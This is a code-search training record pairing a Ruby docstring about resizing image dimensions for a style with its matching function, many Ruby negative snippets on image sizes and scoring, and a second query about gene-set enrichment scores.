] | 0.7086445 | 0 |
Return the dimensions, as an array [width, height], that result from resizing +original_dimensions+ for the given +style+. | def resize_dimensions(original_dimensions, style)
if style.filled?
style.dimensions
else
original_aspect_ratio = original_dimensions[0].to_f / original_dimensions[1]
target_aspect_ratio = style.dimensions[0].to_f / style.dimensions[1]
if original_aspect_ratio > target_aspect_ratio
width = style.dimensions[0]
height = (width / original_aspect_ratio).round
else
height = style.dimensions[1]
width = (height * original_aspect_ratio).round
end
[width, height]
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def dimensions(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n original_width = from_examination(:@original_width)\n original_height = from_examination(:@original_height)\n [original_width, original_height]\n else\n resize_dimensions(dimensions(:original), reflection.styles[style_name])\n end\n end",
"def dimensions_for(style)\n reprocess_for(style)\n file_dimensions[style.to_s]\n end",
"def dimensions(style = :original)\n @dimensions ||= {}\n return {} unless is_bitmap? && File.exist?(attachment.path(style))\n @dimensions[style] ||= [:width, :height].zip(FastImage.size(attachment.path(style))).to_h\n end",
"def get_dimensions\n case @options[:style]\n when 'horizontal'\n [@colors.size, 1]\n when 'vertical'\n [1, @colors.size]\n end\n end",
"def extract_dimensions\n return unless is_image?\n {original: 'image_dimensions', resized: 'resized_dimensions'}.each_pair do |style, method|\n tempfile = media.queued_for_write[style]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.send(\"#{method}=\", [geometry.width.to_i, geometry.height.to_i])\n end\n end\n end",
"def actual_dimensions(version = nil)\n if :original == version || [:original] == version\n version = nil\n elsif :fullsize == version || [:fullsize] == version\n version = fullsize_version\n end\n current_version = version.present? ? get_version(*version) : self\n path = current_version.path\n image = {}\n image = MiniMagick::Image.open(path) if File.exists?(path)\n [image[:width], image[:height]]\n end",
"def new_dimensions_for(orig_width, orig_height)\n new_width = orig_width\n new_height = orig_height\n\n case @flag\n when :percent\n scale_x = @width.zero? ? 100 : @width\n scale_y = @height.zero? ? @width : @height\n new_width = scale_x.to_f * (orig_width.to_f / 100.0)\n new_height = scale_y.to_f * (orig_height.to_f / 100.0)\n when :<, :>, nil\n scale_factor =\n if new_width.zero? || new_height.zero?\n 1.0\n else\n if @width.nonzero? && @height.nonzero?\n [@width.to_f / new_width.to_f, @height.to_f / new_height.to_f].min\n else\n @width.nonzero? ? (@width.to_f / new_width.to_f) : (@height.to_f / new_height.to_f)\n end\n end\n new_width = scale_factor * new_width.to_f\n new_height = scale_factor * new_height.to_f\n new_width = orig_width if @flag && orig_width.send(@flag, new_width)\n new_height = orig_height if @flag && orig_height.send(@flag, new_height)\n when :aspect\n new_width = @width unless @width.nil?\n new_height = @height unless @height.nil?\n end\n\n [new_width, new_height].collect! { |v| v.round }\n end",
"def new_dimensions_for(orig_width, orig_height)\n new_width = orig_width\n new_height = orig_height\n\n case @flag\n when :percent\n scale_x = @width.zero? ? 100 : @width\n scale_y = @height.zero? ? @width : @height\n new_width = scale_x.to_f * (orig_width.to_f / 100.0)\n new_height = scale_y.to_f * (orig_height.to_f / 100.0)\n when :<, :>, nil\n scale_factor =\n if new_width.zero? || new_height.zero?\n 1.0\n else\n if @width.nonzero? && @height.nonzero?\n [@width.to_f / new_width.to_f, @height.to_f / new_height.to_f].min\n else\n @width.nonzero? ? (@width.to_f / new_width.to_f) : (@height.to_f / new_height.to_f)\n end\n end\n new_width = scale_factor * new_width.to_f\n new_height = scale_factor * new_height.to_f\n new_width = orig_width if @flag && orig_width.send(@flag, new_width)\n new_height = orig_height if @flag && orig_height.send(@flag, new_height)\n when :aspect\n new_width = @width unless @width.nil?\n new_height = @height unless @height.nil?\n end\n\n [new_width, new_height].collect! { |v| v.round }\n end",
"def dimensions(style = default_style)\n m = meta_for_style(style)\n w = m[:width]\n h = m[:height]\n \"#{w}#{h && \"x#{h}\"}\" if w || h\n end",
"def width(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_width\n else\n dimensions(style_name).at(0)\n end\n end",
"def geometry(style_name='original')\n # These calculations are all memoised.\n @geometry ||= {}\n begin\n @geometry[style_name] ||= if style_name.to_s == 'original'\n # If no style name is given, or it is 'original', we return the original discovered dimensions.\n original_geometry\n else\n # Otherwise, we apply a mock transformation to see what dimensions would result.\n style = self.file.styles[style_name.to_sym]\n original_geometry.transformed_by(style.geometry)\n end\n rescue Paperclip::TransformationError => e\n # In case of explosion, we always return the original dimensions so that action can continue.\n original_geometry\n end\n end",
"def geometry(style_name='original')\n if style_name == 'original'\n Paperclip::Geometry.parse(\"#{original_width}x#{original_height}\")\n else\n Paperclip::Geometry.parse(style_dimensions(style_name))\n end\n end",
"def dimensions\n [width,height]\n end",
"def extract_dimensions\n tempfile = file.queued_for_write[:original]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.dimensions = [geometry.width.to_i, geometry.height.to_i]\n end\n end",
"def size\n\t\treturn @styles.size\n\tend",
"def dimensions\n height = count\n width = collect { |a| a.length }.max\n [width, height]\n end",
"def size\n [width, height]\n end",
"def size\n [width, height]\n end",
"def image_size(style = default_style)\n return nil if instance_read(:meta).nil? || instance_read(:meta).empty?\n \"#{width(style)}x#{height(style)}\"\n end",
"def dimensions\n dim = [width, height]\n def dim.to_s\n join 'x'\n end\n dim\n end",
"def dimensions\n @dimensions ||= extract_dimensions\n end",
"def height(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_height\n else\n dimensions(style_name).at(1)\n end\n end",
"def extract_dimensions\n tempfile = img.queued_for_write[:original]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.img_dimensions = [geometry.width.to_i, geometry.height.to_i]\n end\n end",
"def intrinsic_image_dimensions path\n if path.end_with? '.svg'\n img_obj = ::Prawn::Svg::Interface.new ::IO.read(path), self, {}\n img_size = img_obj.document.sizing\n { width: img_size.output_width, height: img_size.output_height }\n else\n # NOTE build_image_object caches image data previously loaded\n _, img_size = ::File.open(path, 'rb') {|fd| build_image_object fd }\n { width: img_size.width, height: img_size.height }\n end\n end",
"def dimensions\n return @dimensions if @dimensions\n @dimensions = {}\n (raw['Dimensions'] || {}).each do |name, values|\n values = [values] unless Array === values\n @dimensions[name] = values.map{|value| Dimension.new(value)}\n end\n @dimensions\n end",
"def aspect_ratio(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n original_width = from_examination(:@original_width)\n original_height = from_examination(:@original_height)\n original_width.to_f / original_height\n else\n w, h = *dimensions(style_name)\n w.to_f / h\n end\n end",
"def normalize_size(height:, width:)\n [\n normalize_single_size(height, ref_size: base_height),\n normalize_single_size(width, ref_size: base_width),\n ]\n end",
"def width_x_height\n container_multiplier = @options.size.split( '' ).first.to_i\n dcp_dimensions = @dcp_functions.dimensions\n container_width, container_height = dcp_dimensions[ CinemaslidesCommon::ASPECT_CONTAINER ].collect{|x| x * container_multiplier}\n @logger.debug( \"Container: #{ container_width } x #{ container_height } (1k multiplier: #{ container_multiplier })\" )\n \n if dcp_dimensions.has_key?( @options.aspect ) \n\twidth, height = dcp_dimensions[ @options.aspect ].collect{|x| x * container_multiplier}\n else # Custom aspect ratio\n\twidth, height = scale_to_fit_container( @options.aspect, container_width, container_height )\n end\n return [ width, height ].join( 'x' )\n end",
"def sizes\n @sizes ||= self.class.image_sizes.dup\n end",
"def image_dimensions\n unless self.height && self.width\n self.height, self.width = file.calculate_geometry\n if persisted?\n self.update_column(:height, self.height)\n self.update_column(:width, self.width)\n end\n end\n [self.height, self.width]\n end",
"def dimensions\n\t\t[@n,@m]\n\tend",
"def choose_dimensions(img_elem, default_width, default_height)\n width = default_width\n height = default_height # Until we determine otherwise\n\n # CSS styling takes precedence over explicit +width+ and +height+ attributes, so\n # look for the explicit attributes first and then override them below if the CSS\n # styling yields values.\n width = img_elem['width'] if img_elem.has_attribute?('width')\n height = img_elem['height'] if img_elem.has_attribute?('height')\n\n # Attempt to override the explicit attribute values with CSS style values.\n if img_elem.has_attribute?('style')\n css_width = extract_css_dimension(img_elem['style'], :width)\n css_height = extract_css_dimension(img_elem['style'], :height)\n\n width = css_width if css_width\n height = css_height if css_height\n end\n\n [width, height]\n end",
"def extract_lense_dimensions\n tempfile = lense.queued_for_write[:original]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.lense_dimensions = [geometry.width.to_i, geometry.height.to_i]\n end\n end",
"def scale_dimensions_to_fit(new_width, new_height)\n raise ArgumentError, \"must supply the width and/or height\" if new_width.nil? && new_height.nil?\n if new_height.nil? || (!new_width.nil? && height*new_width < width*new_height)\n return [new_width, height*new_width/width]\n else\n return [width*new_height/height, new_height]\n end\n end",
"def size(size)\n w = width\n h = height\n if width && height\n d = [w, h].max\n max = case size.to_s\n when \"thumbnail\" then 160\n when \"small\" then 320\n when \"medium\" then 640\n when \"large\" then 960\n when \"huge\" then 1280\n else; 1e10\n end\n if max < d\n w = w * max / d\n h = h * max / d\n end\n end\n [w, h]\n end",
"def width(style_name='original')\n geometry(style_name).width.to_i\n end",
"def dimensions\n Vector2d.new(metadata[:width], metadata[:height]) if valid?\n end",
"def calculate_new_size(width, height)\n ratio = width.to_f / height.to_f\n target = Gnawrnip.max_frame_size\n\n return [width, height] if target > [width, height].max\n\n if ratio < 1\n new_width = target * ratio\n new_height = target\n else\n new_width = target\n new_height = target / ratio\n end\n\n [new_width, new_height]\n end",
"def levelsize\n w=@width-(2*@border)\n h=@height-(2*@border)\n return [w, w * gridwidth / gridheight ] if fit_width()\n return [h * gridheight / gridwidth, h]\n end",
"def get_dimensions(id, range)\n\t \n\t image = @user.images.find(id)\n\t time_frame = range+'_dim'\n\t dim_params = image.send(time_frame)\n\t time_frame2 = range+'_z'\n\t z_params = image.send(time_frame2)\n\t # get width and height dimensions \n\t @z_index = z_params\n\n\t if dim_params\n\t @con_width = dim_params.split(\",\")[0].to_i \n\t @con_height = dim_params.split(\",\")[1].to_i \n\t @width = dim_params.split(\",\")[0].to_i \n\t @height = dim_params.split(\",\")[1].to_i \n\t else\n\t \t@con_width = \"\" \n\t @con_height = \"\" \n\t @width = \"\" \n\t @height = \"\"\n\t end\n\tend",
"def getDimensions\r\n @imageheights = @image.length\r\n @imagewidth = @image[0].length\r\n puts \"image dimensions are #{@imagewidth} by #{@imageheights}\"\r\n end",
"def dimensions()\r\n @dimensions ||= questions.inject([]) do |l, question|\r\n question_dimension = question.dimension\r\n l << question_dimension unless l.include?(question_dimension) or question_dimension == \"unknown\"\r\n l\r\n end\r\n end",
"def size\n {width: @iplimage_struct.width, height: @iplimage_struct.height}\n end",
"def to_dimensions\n self.split(/x/).map { |s|\n if s.include?('-')\n s.split(/-/).map { |r| r.to_i }\n else \n s.to_i\n end \n } \n end",
"def dimensions\n data[:dimensions]\n end",
"def extract_dimensions\n return unless image?\n tempfile = image.queued_for_write[:original]\n\n # Silently return, if there's no `width` and `height`\n # Prevents old migrations from crashing\n return unless self.respond_to?(:width) && self.respond_to?(:height)\n\n # Works with uploaded files and existing files\n path_or_url = if !tempfile.nil? then\n # Uploading new file\n tempfile.path\n else\n if image.options[:storage] === :s3\n image.url\n else\n image.path\n end\n end\n\n geometry = Paperclip::Geometry.from_file(path_or_url)\n self.width = geometry.width.to_i\n self.height = geometry.height.to_i\n end",
"def size\n return @peer.width_style.to_s, @peer.height_style.to_s\n end",
"def extract_dimensions\n return unless image?\n tempfile = attachment.queued_for_write[:original]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.width, self.height = [geometry.width.to_i, geometry.height.to_i]\n self.aspect_ratio = width.to_f/height\n end\n end",
"def extract_dimensions\n return unless image?\n tempfile = attachment.queued_for_write[:original]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.width, self.height = [geometry.width.to_i, geometry.height.to_i]\n self.aspect_ratio = width.to_f/height\n end\n end",
"def convert_package_to_dimensions_array(_package)\n []\n end",
"def extract_image_dimensions\n tempfile = image.queued_for_write[:original]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.image_dimensions = [geometry.width.to_i, geometry.height.to_i]\n end\n end",
"def width\n image_ptr[:sx]\n end",
"def wp_constrain_dimensions(current_width, current_height, max_width = 0, max_height = 0)\n return [current_width, current_height] if max_width == 0 && max_height == 0\n\n width_ratio = height_ratio = 1.0\n did_width = did_height = false\n\n if max_width > 0 && current_width > 0 && current_width > max_width\n width_ratio = max_width / current_width\n did_width = true\n end\n\n if max_height > 0 && current_height > 0 && current_height > max_height\n height_ratio = max_height / current_height\n did_height = true\n end\n\n # Calculate the larger/smaller ratios\n smaller_ratio = [width_ratio, height_ratio].min\n larger_ratio = [width_ratio, height_ratio].max\n\n if (current_width * larger_ratio).round > max_width || (current_height * larger_ratio).round > max_height\n # The larger ratio is too big. It would result in an overflow.\n ratio = smaller_ratio\n else\n # The larger ratio fits, and is likely to be a more \"snug\" fit.\n ratio = larger_ratio\n end\n\n # Very small dimensions may result in 0, 1 should be the minimum.\n w = [1, (current_width * ratio).round].max\n h = [1, (current_height * ratio).round].max\n\n # Sometimes, due to rounding, we'll end up with a result like this: 465x700 in a 177x177 box is 117x176... a pixel short\n # We also have issues with recursive calls resulting in an ever-changing result. Constraining to the result of a constraint should yield the original result.\n # Thus we look for dimensions that are one pixel shy of the max value and bump them up\n\n # Note: did_width means it is possible $smaller_ratio == $width_ratio.\n if did_width && w == max_width - 1\n w = max_width # Round it up\n end\n\n # Note: did_height means it is possible $smaller_ratio == $height_ratio.\n if did_height && h == max_height - 1\n h = max_height # Round it up\n end\n\n # Filters dimensions to constrain down-sampled images to.\n apply_filters('wp_constrain_dimensions', [w, h], current_width, current_height, max_width, max_height)\n end",
"def sizes\n h_sizes = [@size]\n prog = @prog\n add_sizes = proc { h_sizes << h_sizes.last / prog.to_f**(1.0 / 48) }\n nb_notes = notes_range.to_a.size\n\n if @prog_change.nil?\n (nb_notes - 1).times(&add_sizes)\n elsif !@prog_change[:note].nil?\n nb_notes = (notes_range.min.succ..@prog_change[:note]).to_a.size\n nb_notes.times(&add_sizes)\n\n prog = @prog_change[:prog].to_f\n unless @prog_change[:size].nil?\n h_sizes.pop\n h_sizes << @prog_change[:size]\n end\n nb_notes = (@prog_change[:note].succ..notes_range.max).to_a.size\n nb_notes.times(&add_sizes)\n end\n h_sizes.map { |size| size.round(0) }\n end",
"def normalized_sizes(width, height)\n if width.to_i > @image.width\n width = @image.width\n end\n if height.to_i > @image.height\n height = @image.height\n end\n \"#{width}x#{height}\"\n end",
"def dim\n [x, y, w, h]\n end",
"def size\n width * height\n end",
"def width\n dimensions.first\n end",
"def lengths\n\t\t#NArray.calculate_dimensions(self) # doesn't work for some weird reason\n\t\tdimensions == 1 ? [length] : [length, *self[0].lengths]\n\tend",
"def find_image_dimensions\n file_path = Rails.root.join(dir_path, self.image_sequence)\n File.readlines(file_path).each do |line|\n if /DimSize =/ =~ line\n self.width,self.height,self.frames = line.split(\" \")[-3..-1]\n break\n end\n end\n end",
"def read_dimensions\n if image?\n if file = asset.queued_for_write[:original]\n geometry = Paperclip::Geometry.from_file(file)\n self.original_width = geometry.width\n self.original_height = geometry.height\n self.original_extension = File.extname(file.path)\n end\n end\n true\n end",
"def size\r\n @colours.size\r\n end",
"def dimensions\n dimensions = identify(:layer => 0, :format => \"%wx%h\").chomp.split(\"x\")\n { :x => dimensions[0].to_i,\n :y => dimensions[1].to_i }\n end",
"def size\n shape[0] > 1 ? shape[0] : shape[1]\n end",
"def thumbnail_dimensions(geometry)\n geometry = geometry.to_s\n width = original_width = self.image_width.to_f\n height = original_height = self.image_height.to_f\n geometry_width, geometry_height = geometry.split(%r{\\#{1,2}|\\+|>|!|x}im)[0..1].map(&:to_f)\n if (original_width * original_height > 0) && ::Dragonfly::ImageMagick::Processor::THUMB_GEOMETRY === geometry\n if ::Dragonfly::ImageMagick::Processor::RESIZE_GEOMETRY === geometry\n if geometry !~ %r{\\d+x\\d+>} || (%r{\\d+x\\d+>} === geometry && (width > geometry_width.to_f || height > geometry_height.to_f))\n # Try scaling with width factor first. (wf = width factor)\n wf_width = (original_width * geometry_width / width).round\n wf_height = (original_height * geometry_width / width).round\n\n # Scale with height factor (hf = height factor)\n hf_width = (original_width * geometry_height / height).round\n hf_height = (original_height * geometry_height / height).round\n\n # Take the highest value that doesn't exceed either axis limit.\n use_wf = wf_width <= geometry_width && wf_height <= geometry_height\n if use_wf && hf_width <= geometry_width && hf_height <= geometry_height\n use_wf = wf_width * wf_height > hf_width * hf_height\n end\n\n if use_wf\n width = wf_width\n height = wf_height\n else\n width = hf_width\n height = hf_height\n end\n end\n else\n # cropping\n width = geometry_width\n height = geometry_height\n end\n end\n\n { :width => width.to_i, :height => height.to_i }\n end",
"def image_width\n\t\t\t@data[\"originalimage\"][\"width\"] if @data[\"originalimage\"]\n\t\tend",
"def size=(size='300x200')\n @width, @height = size.split(\"x\").map { |dimension| dimension.to_i }\n end",
"def size_array(container, size)\n (\n case DIMENSION_TBL[container]\n when 2\n split_size(size)\n when 1\n [size]\n when 0\n []\n end\n ).map { |s| normalize_name(s) }\n end",
"def adam7_pass_sizes(original_width, original_height)\n (0...7).map { |pass| adam7_pass_size(pass, original_width, original_height) }\n end",
"def size\n @sizes ||= strip(:size)\n end",
"def size=(dimension); end",
"def width\n @dimensions.x\n end",
"def shape\n status = Tensorflow::Status.new\n port = c\n ndims = Tensorflow::TF_GraphGetTensorNumDims(operation.g.c, port, status.c)\n raise 'Operation improperly specified.' if status.code != 0\n # This should not be possible since an error only occurs if\n # the operation does not belong to the graph. It should not\n # be possible to construct such an Operation object.\n return nil if ndims < 0\n return [] if ndims == 0\n c_array = Tensorflow::Long_long.new(ndims)\n Tensorflow::TF_GraphGetTensorShape(operation.g.c, port, c_array, ndims, status.c)\n dimension_array = []\n (0..ndims - 1).each do |i|\n dimension_array.push(c_array[i])\n end\n dimension_array\n end",
"def dimensions_known?\n original_width? && original_height?\n end",
"def extract_css_dimension(style_str, target_dimension)\n # We are only interested in the style components that have the target dimension in their names\n # and have numeric pixel values.\n dimension_styles = style_str\n .split(';')\n .map { |s| s.gsub(/\\s+/, '') }\n .grep(/#{target_dimension}/i)\n .grep(/\\d+px$/i)\n\n # Sort by style string length to prefer a style like +width:30px+ to one with a +min-+ or +max-+ prefix.\n # And if you have to choose between a +min-+ or a +max-+, choose the max by preferring the one that's first\n # in alphabetical order.\n best_style = dimension_styles.min_by do |s|\n style_name = s.split(':').first\n [style_name.size, style_name]\n end\n\n numeric_match = best_style.to_s.split(':').last.to_s.match(/\\d+/)\n numeric_match && numeric_match[0]\n end",
"def styles\n if position == 1 || position == 2\n { :medium => \"175x150>\" }\n elsif position == 3\n { :medium => \"350x150>\" } \n elsif position == 4\n { :medium => \"350x300>\" } \n else\n { :medium => \"175x150>\" }\n end\n end",
"def height(style_name='original')\n geometry(style_name).height.to_i\n end",
"def std() CGRectStandardize(self) end",
"def size\n return params[\"size\"] if visibility == \"open\"\n if visibility == \"low_res\" || visibility == \"emory_low\"\n return \",#{IiifController.max_pixels_for_low_res}\" if size_requested_larger_than_allowed?\n params[\"size\"]\n end\n params[\"size\"]\n rescue\n IiifController.max_pixels_for_low_res\n end",
"def dimensions\n unless self.width\n geo = Paperclip::Geometry.from_file(self.url)\n self.update_attributes({ width: geo.width, height: geo.height })\n geo\n else\n self\n end\n end",
"def weighted_styles(input)\n Hash[input.sort_by do |meta_style_name,meta_style| \n r = if meta_style_name == :original \n -9999999999999\n else\n 0 - (meta_style[:width].to_i + meta_style[:height].to_i)\n end\n end]\n end",
"def size_with_meta_data(style = nil)\n style ? meta_for_style(style)[:size] : size_without_meta_data\n end",
"def size\n \"#{width}x#{height}\"\n end",
"def size\n \"#{width}x#{height}\"\n end",
"def pixel_size; size.x * size.y; end",
"def sizes_from_essence_or_params\n if @essence_picture.render_size? && !@essence_picture.render_size.blank?\n @essence_picture.sizes_from_string(@essence_picture.render_size)\n elsif @options[:image_size]\n @essence_picture.sizes_from_string(@options[:image_size])\n else\n { width: 0, height: 0 }\n end\n end",
"def width\n size.last\n end",
"def width\n size.last\n end",
"def dimensions\n eval_cexpression(\"tcb->ndices\")\n end",
"def extract_dimensions\n return unless image_downloaded\n tempfile = image.queued_for_write[:original]\n\n # Works with uploaded files and existing files\n path_or_url = if !tempfile.nil? then\n # Uploading new file\n tempfile.path\n else\n if image.options[:storage] === :s3\n image.url\n else\n image.path\n end\n end\n\n geometry = Paperclip::Geometry.from_file(path_or_url)\n geometry.auto_orient\n geometry\n end",
"def get_dimensions\n check_attached\n\n @logger.info \"Retrieving list of dimensions\"\n @req.EnumDims do |xml|\n xml.sID @session_id\n xml.alsTbl @preferences.alias_table\n end\n @dimensions = []\n invoke.search('//res_EnumDims/dimList/dim').each do |dim|\n @dimensions[dim['id'].to_i] = dim['name']\n end\n @dimensions\n end",
"def store_dimensions\n if file && model\n model.width, model.height = ::MiniMagick::Image.open(file.file)[:dimensions]\n end\n end",
"def image_geometry(style = :original)\n @geometry ||= {}\n if image.image_size(style) != 'x'\n @geometry[style] ||= Paperclip::Geometry.new({width: image.width(style), height: image.height(style)})\n else\n @geometry[style] ||= Paperclip::Geometry.from_file(load_image(style))\n end\n end",
"def size\n \n return case \n when pixels <= (16*16)\n :tiny\n when pixels <= (32*32)\n :small\n when pixels <= (64*64)\n :icon\n when pixels <= (4200..6200)\n :default\n when pixels <= (128*128)\n :medium\n when pixels <= (256*256)\n :large\n when pixels <= (512*512)\n :huge\n else\n :silly\n end\n \n end",
"def size\n width_pointer = FFI::MemoryPointer.new :int, 1\n height_pointer = FFI::MemoryPointer.new :int, 1\n XDo::FFILib.xdo_get_window_size @_xdo_pointer, @_window, width_pointer,\n height_pointer\n [width_pointer.read_int, height_pointer.read_int]\n end",
"def flash_dimensions(path)\n instance = ImageSpec.new(@video.attachment.path)\n width = instance.width\n height = instance.height\n return width, height\n end",
"def for_file(file)\n io_string_for(file).dimensions\n end",
"def rect_of_size(size)\n CGRect.new([self.x, self.y], size)\n end",
"def get_width\n width = self.unpadded_width\n\n if not width.nil? and width != 0\n return { :width => \"#{width}px\" }\n else\n return {}\n end\n end",
"def wp_get_additional_image_sizes\n # TODO global $_wp_additional_image_sizes;\n # if ( ! $_wp_additional_image_sizes ) {\n # $_wp_additional_image_sizes = array();\n # }\n # return $_wp_additional_image_sizes;\n {}\n end"
] | [
"0.82603425",
"0.72764045",
"0.7099696",
"0.6898156",
"0.64568",
"0.63955665",
"0.63532746",
"0.63532746",
"0.63038194",
"0.5962581",
"0.5961278",
"0.59209335",
"0.57798636",
"0.57654184",
"0.57485104",
"0.5705169",
"0.57042444",
"0.57042444",
"0.5652785",
"0.56102395",
"0.55196166",
"0.55192095",
"0.55098945",
"0.54968995",
"0.54916334",
"0.54674476",
"0.5359959",
"0.5357491",
"0.53550386",
"0.53435975",
"0.534175",
"0.53255004",
"0.5302301",
"0.52820724",
"0.52631885",
"0.52630943",
"0.52550834",
"0.5247814",
"0.5209803",
"0.5190553",
"0.518416",
"0.51836175",
"0.51729697",
"0.51694596",
"0.5162559",
"0.5153979",
"0.5148643",
"0.5141451",
"0.5141451",
"0.51413524",
"0.5112195",
"0.51118803",
"0.510968",
"0.5105168",
"0.5081528",
"0.5066501",
"0.5060957",
"0.5053461",
"0.5045156",
"0.50333166",
"0.5028765",
"0.502256",
"0.5013993",
"0.49920082",
"0.49907473",
"0.49796626",
"0.49617794",
"0.4957683",
"0.49522734",
"0.49465415",
"0.4944343",
"0.49428833",
"0.49382126",
"0.49335167",
"0.49287912",
"0.49233678",
"0.49192467",
"0.49168938",
"0.4912962",
"0.49128196",
"0.49095803",
"0.48989636",
"0.48973006",
"0.48973006",
"0.489604",
"0.48926866",
"0.48890066",
"0.48890066",
"0.48885554",
"0.48882914",
"0.48768613",
"0.48674566",
"0.48518273",
"0.48511562",
"0.4846144",
"0.4842132",
"0.48380795",
"0.4828652",
"0.48169547",
"0.48165897"
] | 0.82804507 | 0 |
ES: Enrichment score for the gene set; that is, the degree to which this gene set is overrepresented at the top or bottom of the ranked list of genes in the expression dataset. | def es
@es ||= @fields[3].to_f
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fitness(geneID)\n geneScore = 0\n @genePool[geneID].each_index do |i|\n geneScore += @genePool.get(geneID, i) \n end\n geneScore\n end",
"def assign_score; end",
"def scores\n cells = self.concatenate_data_arrays(self.cell_key, 'cells')\n exp_values = self.concatenate_data_arrays(self.score_key, 'expression')\n Hash[cells.zip(exp_values)]\n end",
"def calc_rank\n return (self.score * 20001) + self.speaks;\n end",
"def get_grade(scores)\n \n sum = scores.reduce(:+)\n \n average = sum.to_f/scores.length\n \n if (average >= 90)\n 'A'\n elsif (average >= 80)\n 'B'\n elsif (average >=70)\n 'C'\n elsif (average >=60)\n 'D'\n else \n 'F'\n end\n \n end",
"def F_score(gold)\n\t\tClustering.F_score(gold,self)\n\tend",
"def energy()\n score = 0\n @matches.each do |m|\n # Teams Same School\n if m.team_a.school == m.team_b.school\n score -= @penalties[:teams_same_school]\n end\n # Judges Same School\n m.judges.each do |j|\n if j.school == m.team_a.school\n score -= @penalties[:judge_same_school]\n end\n if j.school == m.team_b.school\n score -= @penalties[:judge_same_school]\n end\n end\n # Different Win/Loss\n if m.team_a.num_wins != m.team_b.num_wins\n score -= (1 + @penalties[:different_win_loss]) **\n (m.team_a.num_wins - m.team_b.num_wins).abs\n score -= 1 # No, really, this makes sense...\n end\n end\n score\n end",
"def score\n [base_score] + kickers\n end",
"def base_score\n rank.last\n end",
"def calculate_rank_and_grade \n points_off = 0\n points_off += self.opt_out_count * 5 \n points_off += self.un_solicited_count * 10 \n points_off += self.sell_count * 21 \n points_off += self.vulgar_count * 31 \n points_off = points_off/(self.surveys.count) \n result = case rank = 100 - points_off\n when 96..500 then \"A+\"\n when 90..95 then \"A-\"\n when 80..89 then \"B\"\n when 70..79 then \"C\"\n when 60..69 then \"D\"\n when 0..60 then \"F\"\n end\n self.grade = result\n self.rank = rank\n end",
"def score\n active_set.score\n end",
"def fitness\n return @fitness if @fitness\n\n consumption_per_cluster = {}\n @data.each_with_index do |v, i|\n consumption_per_cluster[v] ||= 0\n # puts @prosumers[i].id, @real_consumption\n consumption_per_cluster[v] += (@real_consumption[@prosumers[i].id] || 0)\n end\n\n total_penalties_before = @initial_imballance.map do |imballance|\n penalty(imballance)\n end\n\n total_penalties_after = 0\n res = 0;\n\n consumption_per_cluster.each do |cluster, consumption |\n # puts \"DEBUG: #{cluster}, #{consumption}\"\n p = penalty((consumption || 0) - (@targets_per_cluster[cluster] || 0))\n res += 100 * (total_penalties_before[cluster] - p) / total_penalties_before[cluster] if total_penalties_before[cluster] > 0\n end\n\n\n\n\n @fitness = res\n\n end",
"def update_score()\n\t\t# Uses ELO rating to calculate new rank for both users. Ref: https://metinmediamath.wordpress.com/2013/11/27/how-to-calculate-the-elo-rating-including-example/\n\t\t# Updates score by adding game scores to players score\n\tend",
"def score\n regions.map(&:score).max\n end",
"def score\n end",
"def fitness(target)\n score = 0\n @genes.each_with_index do |gene, i|\n score += 1 if target[i] == gene\n end\n score / target.size.to_f\n end",
"def fitness(target)\n score = 0\n @genes.each_with_index do |gene, i|\n score += 1 if target[i] == gene\n end\n score / target.size.to_f\n end",
"def score; end",
"def grade\n @grades ||= case score\n when 10.0..100.0\n 16\n when 9.0..10.0\n 13\n when 8.5..9.0\n 12\n when 8.0..8.5\n 11\n when 7.5..8.0\n 10\n when 7.0..7.5\n 9\n when 6.5..7.0\n 8\n when 6.0..6.5\n 7\n when 5.5..6.0\n 6\n when 5.0..5.5\n 5\n else\n 4\n end\n end",
"def calcAdjustment(matrix,totalGenes)\n #score adjustment for col/row sum\n colAdj = 0\n matrix.colSums.each{|sum|\n colAdj += Math.log2star(sum)\n }\n \n rowAdj = 0\n matrix.rowSums.each{|sum|\n rowAdj += Math.log2star(sum)\n }\n\n # each row gets sorted by its sum \n rowSortAdj = matrix.rowSums.calcUniqPermutationsLog2\n colSortAdj = matrix.colSums.calcUniqPermutationsLog2\n sortAdj = rowSortAdj + colSortAdj\n\n # score adjustment for which set of N genes to use \n # (think \"multiple testing\" via binomial coefficient)\n testAdj = Math.binomCoefficientLog2(totalGenes,matrix.numRows)\n\n return colAdj + rowAdj + testAdj +sortAdj\nend",
"def calculate\n avg_scores = ((@scores.inject(0){|sum,x| sum + x }) / @scores.length)\n if avg_scores >= 90 && avg_scores <= 100\n return 'O'\n elsif avg_scores >= 80 && avg_scores < 90\n return 'E'\n elsif avg_scores >= 70 && avg_scores < 80\n return 'A'\n elsif avg_scores >= 55 && avg_scores < 70\n return 'P'\n elsif avg_scores >= 40 && avg_scores < 55\n return 'D'\n elsif avg_scores < 40\n return 'T'\n end\n end",
"def army_rank; end",
"def score\n if g = royal_flush?\n r = 5000\n elsif g = straight_flush?\n r = 4000 + g.last.rank\n elsif g = four_of_a_kind?\n r = 3500 + g.first.rank\n elsif g = full?\n high1 = three_of_a_kind?.first.rank\n high2 = pair?.first.rank\n r = 3000 + high1 * 100 + high2\n elsif g = flush?\n highest = g.last.rank\n r = 2500 + highest\n elsif g = straight?\n r = 2000 + g.last.rank\n elsif g = three_of_a_kind?\n r = 1500 + 100 * g.first.rank\n elsif g = two_pairs?\n high1 = g.last.rank\n high2 = g.first.rank\n r = 1000 + 100 * high1 + high2\n elsif g = pair?\n r = 500 + g.first.rank\n else\n g = highest?\n r = highest?.rank\n end\n [val - [g].flatten, r]\n end",
